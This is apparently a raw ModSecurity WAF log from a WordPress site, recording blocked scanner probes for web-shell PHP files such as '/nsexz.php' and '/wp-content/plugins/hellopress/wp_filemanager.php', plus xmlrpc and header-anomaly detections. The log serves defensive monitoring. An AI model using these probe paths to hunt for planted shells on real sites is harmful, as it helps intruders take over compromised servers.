[Tue Jan 06 22:46:03.257121 2026] [:error] [pid 45012:tid 45032] [client 4.196.115.91:12447] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nsexz.php"] [unique_id "aV0gKxaMAxCuju1d0uYi0gAAANI"]
[Tue Jan 06 22:46:04.168806 2026] [:error] [pid 45959:tid 45964] [client 4.196.115.91:13654] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nsexz.php"] [unique_id "aV0gLFajdn8P3hjgMYwMlAAAAUI"]
[Tue Jan 06 22:46:05.445485 2026] [:error] [pid 44905:tid 44971] [client 4.196.115.91:18812] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sfcl.php"] [unique_id "aV0gLbu7ufwWVst9EAsE0QAAAIM"]
[Tue Jan 06 22:46:06.100599 2026] [:error] [pid 45012:tid 45015] [client 4.196.115.91:11551] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sfcl.php"] [unique_id "aV0gLhaMAxCuju1d0uYi1gAAAME"]
[Tue Jan 06 22:46:06.345800 2026] [:error] [pid 45012:tid 45028] [client 4.196.115.91:13685] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sfcl.php"] [unique_id "aV0gLhaMAxCuju1d0uYi2AAAAM4"]
[Tue Jan 06 22:46:06.590405 2026] [:error] [pid 44903:tid 44916] [client 4.196.115.91:14859] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sfcl.php"] [unique_id "aV0gLthHqjs38zbkQPA1ZgAAAAk"]
[Tue Jan 06 22:46:08.913090 2026] [:error] [pid 44905:tid 44992] [client 4.196.115.91:11565] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccea.php"] [unique_id "aV0gMLu7ufwWVst9EAsE1QAAAJg"]
[Tue Jan 06 22:46:10.761175 2026] [:error] [pid 44903:tid 44919] [client 4.196.115.91:18351] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccea.php"] [unique_id "aV0gMthHqjs38zbkQPA1aAAAAAw"]
[Tue Jan 06 22:46:11.458317 2026] [:error] [pid 45012:tid 45036] [client 4.196.115.91:11537] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccea.php"] [unique_id "aV0gMxaMAxCuju1d0uYi3wAAANY"]
[Tue Jan 06 22:46:12.143802 2026] [:error] [pid 44905:tid 44972] [client 4.196.115.91:12430] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccea.php"] [unique_id "aV0gNLu7ufwWVst9EAsE2AAAAIQ"]
[Tue Jan 06 22:46:13.580815 2026] [:error] [pid 44903:tid 44907] [client 4.196.115.91:14854] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/15.php"] [unique_id "aV0gNdhHqjs38zbkQPA1agAAAAA"]
[Tue Jan 06 22:46:14.266281 2026] [:error] [pid 44904:tid 44962] [client 4.196.115.91:14851] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/15.php"] [unique_id "aV0gNjtieuI1BJEZcvdQwwAAAFU"]
[Tue Jan 06 22:46:15.333745 2026] [:error] [pid 44904:tid 44942] [client 4.196.115.91:18499] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/15.php"] [unique_id "aV0gNztieuI1BJEZcvdQxAAAAEE"]
[Tue Jan 06 22:46:17.920849 2026] [:error] [pid 44903:tid 44920] [client 4.196.115.91:13693] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/15.php"] [unique_id "aV0gOdhHqjs38zbkQPA1cAAAAA0"]
[Tue Jan 06 22:46:18.431668 2026] [:error] [pid 45012:tid 45029] [client 4.196.115.91:14879] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-74mt77k.php"] [unique_id "aV0gOhaMAxCuju1d0uYi5QAAAM8"]
[Tue Jan 06 22:46:19.696041 2026] [:error] [pid 44904:tid 44953] [client 4.196.115.91:15104] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-74mt77k.php"] [unique_id "aV0gOztieuI1BJEZcvdQygAAAEw"]
[Tue Jan 06 22:46:21.515683 2026] [:error] [pid 45012:tid 45016] [client 4.196.115.91:1965] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-74mt77k.php"] [unique_id "aV0gPRaMAxCuju1d0uYi6QAAAMI"]
[Tue Jan 06 22:46:24.529212 2026] [:error] [pid 35140:tid 35151] [client 4.196.115.91:15609] [client 4.196.115.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-74mt77k.php"] [unique_id "aV0gQHoQaIDFMbT-XMzu8QAAAQk"]
[Tue Jan 06 23:19:38.670819 2026] [:error] [pid 45012:tid 45014] [client 4.247.167.136:4419] [client 4.247.167.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aV0oChaMAxCuju1d0uYsFwAAAMA"]
[Tue Jan 06 23:19:46.992095 2026] [:error] [pid 45959:tid 45964] [client 4.247.167.136:4097] [client 4.247.167.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aV0oElajdn8P3hjgMYwY8gAAAUI"]
[Tue Jan 06 23:19:49.930057 2026] [:error] [pid 45012:tid 45025] [client 4.247.167.136:4935] [client 4.247.167.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aV0oFRaMAxCuju1d0uYskQAAAMs"]
[Tue Jan 06 23:19:50.809830 2026] [:error] [pid 45012:tid 45014] [client 4.247.167.136:4885] [client 4.247.167.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aV0oFhaMAxCuju1d0uYsnAAAAMA"]
[Tue Jan 06 23:44:28.822457 2026] [:error] [pid 35140:tid 35151] [client 20.2.24.32:5438] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aV0t3HoQaIDFMbT-XMz_AwAAAQk"]
[Tue Jan 06 23:44:29.603739 2026] [:error] [pid 35140:tid 35162] [client 20.2.24.32:5494] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aV0t3XoQaIDFMbT-XMz_BAAAARQ"]
[Tue Jan 06 23:44:30.550063 2026] [:error] [pid 45012:tid 45021] [client 20.2.24.32:38988] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aV0t3haMAxCuju1d0uY2RAAAAMc"]
[Tue Jan 06 23:44:34.327397 2026] [:error] [pid 45959:tid 45963] [client 20.2.24.32:33126] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/anz.php"] [unique_id "aV0t4lajdn8P3hjgMYwk4gAAAUE"]
[Tue Jan 06 23:44:36.186474 2026] [:error] [pid 45959:tid 45970] [client 20.2.24.32:35904] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aV0t5Fajdn8P3hjgMYwk5AAAAUg"]
[Tue Jan 06 23:44:36.833821 2026] [:error] [pid 45959:tid 45976] [client 20.2.24.32:48936] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aV0t5Fajdn8P3hjgMYwk5QAAAU4"]
[Tue Jan 06 23:44:38.426706 2026] [:error] [pid 44905:tid 44977] [client 20.2.24.32:5168] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aV0t5ru7ufwWVst9EAsXCwAAAIk"]
[Tue Jan 06 23:44:42.493100 2026] [:error] [pid 44905:tid 44991] [client 20.2.24.32:33132] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bnn_.php"] [unique_id "aV0t6ru7ufwWVst9EAsXDQAAAJc"]
[Tue Jan 06 23:44:44.159613 2026] [:error] [pid 45959:tid 45965] [client 20.2.24.32:50149] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aV0t7Fajdn8P3hjgMYwk8AAAAUM"]
[Tue Jan 06 23:44:50.159625 2026] [:error] [pid 45012:tid 45024] [client 20.2.24.32:31898] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aV0t8haMAxCuju1d0uY2WgAAAMo"]
[Tue Jan 06 23:44:51.736007 2026] [:error] [pid 45959:tid 45983] [client 20.2.24.32:31905] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aV0t81ajdn8P3hjgMYwk_AAAAVU"]
[Tue Jan 06 23:44:53.180327 2026] [:error] [pid 44904:tid 44959] [client 20.2.24.32:32275] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aV0t9TtieuI1BJEZcvdhywAAAFI"]
[Tue Jan 06 23:44:54.487618 2026] [:error] [pid 45959:tid 45979] [client 20.2.24.32:48958] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file66.php"] [unique_id "aV0t9lajdn8P3hjgMYwlCAAAAVE"]
[Tue Jan 06 23:44:55.350283 2026] [:error] [pid 35140:tid 35148] [client 20.2.24.32:50332] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file66.php"] [unique_id "aV0t93oQaIDFMbT-XMz_FwAAAQY"]
[Tue Jan 06 23:44:56.476712 2026] [:error] [pid 35140:tid 35160] [client 20.2.24.32:32776] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file66.php"] [unique_id "aV0t-HoQaIDFMbT-XMz_GAAAARI"]
[Tue Jan 06 23:45:00.131821 2026] [:error] [pid 44904:tid 44950] [client 20.2.24.32:32279] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file66.php"] [unique_id "aV0t_DtieuI1BJEZcvdhzQAAAEk"]
[Tue Jan 06 23:45:15.672805 2026] [:error] [pid 45959:tid 45977] [client 20.2.24.32:33320] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaje.php"] [unique_id "aV0uC1ajdn8P3hjgMYwlIgAAAU8"]
[Tue Jan 06 23:45:18.188254 2026] [:error] [pid 35140:tid 35161] [client 20.2.24.32:35445] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaje.php"] [unique_id "aV0uDnoQaIDFMbT-XMz_JwAAARM"]
[Tue Jan 06 23:45:20.224896 2026] [:error] [pid 35140:tid 35165] [client 20.2.24.32:5257] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaje.php"] [unique_id "aV0uEHoQaIDFMbT-XMz_KwAAARc"]
[Tue Jan 06 23:45:23.854795 2026] [:error] [pid 44905:tid 44983] [client 20.2.24.32:50603] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaje.php"] [unique_id "aV0uE7u7ufwWVst9EAsXMgAAAI8"]
[Tue Jan 06 23:45:26.649106 2026] [:error] [pid 44904:tid 44949] [client 20.2.24.32:35425] [client 20.2.24.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blnux.php"] [unique_id "aV0uFjtieuI1BJEZcvdh1QAAAEg"]
[Tue Jan 06 23:56:17.959129 2026] [:error] [pid 44903:tid 44917] [client 43.157.153.236:59104] [client 43.157.153.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aV0wodhHqjs38zbkQPBK3wAAAAo"]
[Wed Jan 07 00:10:35.660304 2026] [:error] [pid 45959:tid 45976] [client 160.191.139.10:36112] [client 160.191.139.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.191.139.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV0z-1ajdn8P3hjgMYwvSQAAAU4"]
[Wed Jan 07 00:15:26.016918 2026] [:error] [pid 35140:tid 35152] [client 20.196.88.169:3149] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aV01HnoQaIDFMbT-XMwIUgAAAQo"]
[Wed Jan 07 00:15:26.288624 2026] [:error] [pid 45959:tid 45981] [client 20.196.88.169:27627] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aV01Hlajdn8P3hjgMYwxxAAAAVM"]
[Wed Jan 07 00:15:26.559114 2026] [:error] [pid 44904:tid 44958] [client 20.196.88.169:27591] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aV01HjtieuI1BJEZcvdqNQAAAFE"]
[Wed Jan 07 00:15:26.828376 2026] [:error] [pid 44903:tid 44911] [client 20.196.88.169:3176] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aV01HthHqjs38zbkQPBQ2QAAAAQ"]
[Wed Jan 07 00:15:27.097530 2026] [:error] [pid 44904:tid 44954] [client 20.196.88.169:27693] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iko.php"] [unique_id "aV01HztieuI1BJEZcvdqNgAAAE0"]
[Wed Jan 07 00:15:27.367369 2026] [:error] [pid 44904:tid 44953] [client 20.196.88.169:27620] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iko.php"] [unique_id "aV01HztieuI1BJEZcvdqOAAAAEw"]
[Wed Jan 07 00:15:27.636444 2026] [:error] [pid 44904:tid 44950] [client 20.196.88.169:21757] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iko.php"] [unique_id "aV01HztieuI1BJEZcvdqOQAAAEk"]
[Wed Jan 07 00:15:27.910408 2026] [:error] [pid 45012:tid 45025] [client 20.196.88.169:3139] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iko.php"] [unique_id "aV01HxaMAxCuju1d0uZBOAAAAMs"]
[Wed Jan 07 00:15:28.187570 2026] [:error] [pid 45959:tid 45969] [client 20.196.88.169:27630] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hlonk.php"] [unique_id "aV01IFajdn8P3hjgMYwxygAAAUc"]
[Wed Jan 07 00:15:28.456143 2026] [:error] [pid 44904:tid 44957] [client 20.196.88.169:27596] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hlonk.php"] [unique_id "aV01IDtieuI1BJEZcvdqOwAAAFA"]
[Wed Jan 07 00:15:28.731373 2026] [:error] [pid 44903:tid 44917] [client 20.196.88.169:27602] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hlonk.php"] [unique_id "aV01INhHqjs38zbkQPBQ3QAAAAo"]
